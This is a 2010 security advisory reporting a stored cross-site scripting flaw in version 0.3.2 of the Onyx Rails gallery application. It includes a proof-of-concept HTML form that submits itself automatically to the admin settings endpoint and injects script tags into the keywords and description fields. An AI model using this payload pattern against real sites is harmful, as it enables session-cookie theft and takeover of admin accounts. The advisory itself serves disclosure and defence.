XSS vulnerability in Onyx

2010-08-14T00:00:00
ID SECURITYVULNS:DOC:24522
Type securityvulns
Reporter Securityvulns
Modified 2010-08-14T00:00:00

Description

Vulnerability ID: HTB22536 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_onyx.html Product: Onyx Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/onyx ) Vulnerable Version: 0.3.2 and Probably Prior Versions Vendor Notification: 27 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/settings/update script to properly sanitize user-supplied input in "setting[site_keywords]" and "setting[site_description]" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/settings/update" method="post" name="main" >

<input type="hidden" name="setting[site_title]" value="My Onyx Gallery" /> <input type="hidden" name="setting[site_keywords]" value='Ruby on Rails Gallery"><script>alert(document.cookie)</script>' /> <input type="hidden" name="setting[site_description]" value='Onyx is an open source free ruby on rails gallery"><script>alert(document.cookie)</script>' /> <input type="hidden" name="setting[welcome_title]" value="Welcome!" /> <input type="hidden" name="setting[welcome_message]" value="Welcome to my gallery!" /> <input type="hidden" name="setting[uniform_width]" value="500" /> <input type="hidden" name="setting[uniform_height]" value="500" /> <input type="hidden" name="setting[thumbnail_width]" value="100" /> <input type="hidden" name="setting[thumbnail_height]" value="100" /> <input type="hidden" name="setting[dummy_watermark_enabled]" value="0" /> <input type="hidden" name="setting[tooltips_enabled]" value="1" /> <input type="hidden" name="setting[tooltip_width]" value="300" /> <input type="hidden" name="setting[maximum_uploadable_files]" value="10" /> <input type="hidden" name="commit" value="Update Settings" />

</form> <script> document.main.submit(); </script>